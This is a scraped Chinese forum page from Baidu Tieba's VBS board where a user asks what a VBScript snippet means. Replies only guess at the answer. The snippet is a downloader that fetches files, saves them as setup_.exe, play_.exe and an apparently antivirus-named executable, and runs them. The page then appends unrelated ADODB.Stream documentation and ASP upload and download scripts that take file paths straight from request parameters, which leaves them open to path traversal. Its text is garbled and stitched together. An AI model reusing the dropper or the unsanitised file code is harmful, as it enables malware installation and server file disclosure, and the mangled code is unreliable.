wscript.createobjectt到底是怎么个意思

求助 请问这段代码是什么意思啊?_vbs吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:8,345贴子:
求助 请问这段代码是什么意思啊?收藏
Set xPost= createObject("Microsoft.XMLHTTP")xPost.Open "GET","",0xPost.send()Set sGet = CreateObject("ADODB.Stream")Sget.Mode = 3Sget.Type = 1SGET.Open()b=xPost.responseBodyif len(b)&0 then'len(b)&0sGet.Write(b)Sget.SaveToFile "C:\setup_.exe", 2Set run = createObject("wscript.shell")run.run "C:\setup_.exe",3end ifSet xPost= createObject("Microsoft.XMLHTTP")xPost.Open "GET","",0xPost.send()Set sGet = CreateObject("ADODB.Stream")Sget.Mode = 3Sget.Type = 1SGET.Open()b=xPost.responseBodyif len(b)&0 then'len(b)&0sGet.Write(b)Sget.SaveToFile "C:\play_.exe", 2Set run = createObject("wscript.shell")run.run "C:\play_.exe",3end ifSet xPost= createObject("Microsoft.XMLHTTP")xPost.Open "GET","",0xPost.send()Set sGet = CreateObject("ADODB.Stream")Sget.Mode = 3Sget.Type = 1SGET.Open()b=xPost.responseBodyif len(b)&0 then'len(b)&0sGet.Write(b)Sget.SaveToFile "C:\KAVSETUPS_66_106854.exe", 2Set run = createObject("wscript.shell")run.run "C:\KAVSETUPS_66_106854.exe",3end if
报考一级消防师要求,学尔森13年考培经验为您解答,更有百度信贷分期付学费.
这是真的吗
好像是先检测有没有网,然后要运行什么安装程序
我来帮你顶个贴
下载程序,然后运行么
贺电✎﹏₯㎕﹏﹏﹏﹏﹏﹏﹏﹏﹏﹏﹏﹏﹏﹏ 爱情就像无影剑,明知附加都是伤害,我们依旧红了眼,爱情就像屠戮之刃,不仅附加伤害还得大出血,爱情就像心脏粉碎者,不仅伤,而且越伤越深,爱情就像开双刀,点燃了激情,却燃烧了生命    
顶贴应该没错吧
下载软件再安装了哟
登录百度帐号推荐应用
为兴趣而生,贴吧更懂你。或关于Adodb.Stream的使用说明组件:"Adodb.Stream"有下列方法:Cancel方法使用方法如下Object.Cancel说明:取消执行挂起的异步Execute或Open方法的调用。Close方法使用方法如下Object.Close:关闭对像CopyTo方法使用方法如下Object.CopyTo(destStream,[CharNumber])说明:将对像的数据复制,destStream指向要复制的对像,CharNumber为可选参数,指要复制的字节数,不选为全部复制。Flush方法使用方法如下Object.Flush说明:LoadFromFile方法使用方法如下Object.LoadFromFile(FileName)说明:将FileName指定的文件装入对像中,参数FileName为指定的用户名。Open方法使用方法如下Object.Open(Source,[Mode],[Options],[UserName],[Password])说明:打开对像,参数说明:Sourece对像源,可不指定Mode指定打开模式,可不指定,可选参数如下:adModeRead=1adModeReadWrite=3adModeRecursive=4194304adModeShareDenyNone=16adModeShareDenyRead=4adModeShareDenyWrite=8adModeShareExclusive=12adModeUnknown=0adModeWrite=2Options指定打开的选项,可不指定,可选参数如下:adOpenStreamAsync=1adOpenStreamFromRecord=4adOpenStreamUnspecified=-1UserName指定用户名,可不指定。Password指定用户名的密码Read方法使用方法如下:Object.Read(Numbytes)说明:读取指定长度的二进制内容。参数说明:Numbytes指定的要读取的找度,不指定则读取全部。ReadText方法使用方法如下:Object.ReadText(NumChars)说明:读取指定长度的文本参数说明:NumChars指定的要读取的找度,不指定则读取全部。SaveToFile方法使用方法如下:Object.SaveToFile(FileName,[Options])说明:将对像的内容写到FileName指定的文件中参数说明:FileName指定的文件Options存取的选项,可不指定,可选参数如下:adSaveCreateNotExist=1adSaveCreateOverWrite=2SetEOS方法使用方法如下:Object.setEOS()说明:SkipLine方法使用方法如下:Object.SkipLine()说明:Write方法使用方法如下:Object.Write(Buffer)说明:将指定的数据装入对像中。参数说明:Buffer为指定的要写入的内容。WriteText方法使用方法如下:Object.Write(Data,[Options])说明:将指定的文本数据装入对像中。参数说明:Data为指定的要写入的内容。Options写入的选项,可不指定,可选参数如下:adWriteChar=0adWriteLine=1有下列属性:CharsetEOS返回对像内数据是否为空。LineSeparator指定换行格式,可选参数有adCR=13adCRLF=-1adLF=10Mode指定或返加模式。Position指定或返加对像内数据的当前指针。Size返回对像内数据的大小。State返加对像状态是否打开。Type指定或返回的数据类型,可选参数为:adTypeBinary=1adTypeText=2用了6行代码实现了无组件上传:strFileName=Request.QueryString("file1")SetobjStream=Server.CreateObject("ADODB.Stream")objStream.Type=1'adTypeBinaryobjStream.OpenobjStream.LoadFromFilestrFileNameobjStream.SaveToFileServer."123_onweb.gif",2使用方法:把上面的代码写成upload.asp在浏览器里面输入:http://XXX/upload.asp?file1=c:\上传文件\123.gifXXX为你的主机地址执行完后你会看到你的目录下面多了一个123_onweb.gif他就是你要文件拉!!!!根据原理我们可以扩展以下代码:upload.asp文件&%FunctionGetFileName(ByValstrFile)IfstrFile&&""ThenGetFileName=mid(strFile,InStrRev(strFile,"\")+1)ElseGetFileName=""EndIfEndfunctionstrFileName=Request.Form("file1")SetobjStream=Server.CreateObject("ADODB.Stream")objStream.Type=1'adTypeBinaryobjStream.OpenobjStream.LoadFromFilestrFileNameobjStream.SaveToFileServer.MapPath(GetFileName(strFileName)),2objStream.Close%&upload.htm文件&formname="FORM"action="upload.asp"method="post"&&inputtype="submit"name="submit"value="OK"&&inputtype="file"name="file1"style="width:400"value=""&&/form&读文件不想用FSO,有的空间不支持。有一个LoadFromFile的方法。可以读取文件。下面是我的代码。functionreadfile(URL,chartype)setsrmObj=server.CreateObject("adodb.stream")srmObj.type=1srmObj.mode=3srmObj.opensrmObj.Position=0srmObj.LoadFromFileURLsrmObj.Position=0srmObj.type=2srmObj.charset=chartypereadfile=srmObj.readtext()endfunction两个参数。URL是文件的路径,好像只能绝对路径。chartype是文件以什么编码存放的。返回一个字符串,存放文件的内容。这个函数只能读文本文件。读二进制文件也差不多。要用的人可以自己改&=src="/article/js/c9.js"&基于adodb.stream的文件操作类&%’*************************************************************’转发时请保留此声明信息,这段声明不并会影响你的速度!’*************************************************************’*************************************************************’@author:面条’@realname:徐仁禄’@email:’@QQ:’@Homepage:http://www.ksdn.net’@版权申明:’非盈利性质团体或者个人可以免费使用.’*************************************************************’*************************************************************’类名称:files’类功能:实现文件读写功能,利用adodb.stream实现,在不支持fso的主机上也可以读写文件.’*************************************************************classfilesprivateadSaveCreateOverWrite’创建文件的时候可以覆盖已经存在的文件.privateadSaveCreateNotExist’保存文件的时候如果文件不存在,可以创建文件.’*************************************************************’事件名称:Class_Initialize()’事件发生条件:类创建时候产生该事件’事件内容:给私有变量赋值’事件传入参数:无’*************************************************************subClass_Initialize()adSaveCreateOverWrite=2adSaveCreateNotExist=1endsub’*************************************************************’函数名称:functionreadfile(filepath)’函数内容:读出文件’传入参数:filepath:要读的文件的绝对路径’返回参数:要读的文件的内容.’*************************************************************functionreadfile(filepath)onerrorresumenextdimstm2setstm2=server.createobject("ADODB.Stream")stm2.Charset="gb2312"stm2.Openstm2.LoadFromFilefilepathreadfile=stm2.ReadTextendfunction’*************************************************************’函数名称:functionwritefile(filepath,str)’函数内容:写入文件’传入参数:filepath:要读的文件的绝对路径’str:要写入的内容’返回参数:无返回’*************************************************************functionwritefile(filepath,str)onerrorresumenextSetstm=server.createobject("ADODB.Stream")stm.Charset="gb2312"stm.Openstm.WriteTextstrstm.SaveToFilefilepath,adSaveCreateOverWriteendfunction’*************************************************************’函数名称:functioncopy(filepath_s,filepath_d)’函数内容:读出文件’传入参数:filepath_d:目的文件的绝对路径’filepath_s:源文件路径’*************************************************************functioncopy(filepath_s,filepath_d)onerrorresumenextdimstm2setstm2=server.createobject("ADODB.Stream")stm2.Charset="gb2312"stm2.Openstm2.LoadFromFilefilepath_sstm2.SaveToFilefilepath_d,adSaveCreateOverWriteendfunctionendclass利用Adodb.Stream直接下载文件在浏览器的地址栏里直接输入一个doc或xls或jpg的文件的url路径,那么该文件会直接显示在浏览器里。而在很多时候我们希望能直接弹出下载提示框让用户下载,我们该怎么办呢?这里有两种方法:1、设置你的服务器的iis,给doc等后缀名做映射2、在向客户端发送时设置其contenttype下面详细说明方法2程序代码:_codestyle="DISPLAY:none"name="html_code"&&%Response.Buffer=trueResponse.CleardimurlDimfso,fl,flsizedimDnameDimobjStream,ContentType,flName,isre,url1'*********************************************调用时传入的下载文件名Dname=trim(request("n"))'******************************************************************IfDname&&""Then'******************************下载文件存放的服务端目录url=server.MapPath("/")&"\"&Dname'***************************************************EndIfSetfso=Server.CreateObject("Scripting.FileSystemObject")Setfl=fso.getfile(url)flsize=fl.sizeflName=fl.nameSetfl=NothingSetfso=Nothing%&&%SetobjStream=Server.CreateObject("ADODB.Stream")objStream.OpenobjStream.Type=1objStream.LoadFromFileurlSelectCaselcase(Right(flName,4))Case".asf"ContentType="video/x-ms-asf"Case".avi"ContentType="video/avi"Case".doc"ContentType="application/msword"Case".zip"ContentType="application/zip"Case".xls"ContentType="application/vnd.ms-excel"Case".gif"ContentType="image/gif"Case".jpg","jpeg"ContentType="image/jpeg"Case".wav"ContentType="audio/wav"Case".mp3"ContentType="audio/mpeg3"Case".mpg","mpeg"ContentType="video/mpeg"Case".rtf"ContentType="application/rtf"Case".htm","html"ContentType="text/html"Case".txt"ContentType="text/plain"CaseElseContentType="application/octet-stream"EndSelectResponse.AddHeader"Content-Disposition","filename="&flNameResponse.AddHeader"Content-Length",flsizeResponse.Charset="UTF-8"Response.ContentType=ContentTypeResponse.BinaryWriteobjStream.ReadResponse.Flushresponse.Clear()objStream.CloseSetobjStream=Nothing%&_lightcodestyle="BORDER-RIGHT:#9999991PADDING-RIGHT:5BORDER-TOP:#9999991PADDING-LEFT:5FONT-SIZE:11PADDING-BOTTOM:5BORDER-LEFT:#9999991PADDING-TOP:5BORDER-BOTTOM:#9999991FONT-FAMILY:sans-HEIGHT:40BACKGROUND-COLOR:#f9f9f9"name="html_lightcode"&&%Response.Buffer=trueResponse.CleardimurlDimfso,fl,flsizedimDnameDimobjStream,ContentType,flName,isre,url1'*********************************************调用时传入的下载文件名Dname=trim(request("n"))'******************************************************************IfDname&&""Then'******************************下载文件存放的服务端目录url=server.MapPath("/")&"\"&Dname'***************************************************EndIfSetfso=Server.CreateObject("Scripting.FileSystemObject")Setfl=fso.getfile(url)flsize=fl.sizeflName=fl.nameSetfl=NothingSetfso=Nothing%&&%SetobjStream=Server.CreateObject("ADODB.Stream")objStream.OpenobjStream.Type=1objStream.LoadFromFileurlSelectCaselcase(Right(flName,4))Case".asf"ContentType="video/x-ms-asf"Case".avi"ContentType="video/avi"Case".doc"ContentType="application/msword"Case".zip"ContentType="application/zip"Case".xls"ContentType="application/vnd.ms-excel"Case".gif"ContentType="image/gif"Case".jpg","jpeg"ContentType="image/jpeg"Case".wav"ContentType="audio/wav"Case".mp3"ContentType="audio/mpeg3"Case".mpg","mpeg"ContentType="video/mpeg"Case".rtf"ContentType="application/rtf"Case".htm","html"ContentType="text/html"Case".txt"ContentType="text/plain"CaseElseContentType="application/octet-stream"EndSelectResponse.AddHeader"Content-Disposition","filename="&flNameResponse.AddHeader"Content-Length",flsizeResponse.Charset="UTF-8"Response.ContentType=ContentTypeResponse.BinaryWriteobjStream.ReadResponse.Flushresponse.Clear()objStream.CloseSetobjStream=Nothing%&_sunny.gif"width=0onload=show(this)&
略懂社热议

我要回帖

更多关于 js object.create 的文章

 

随机推荐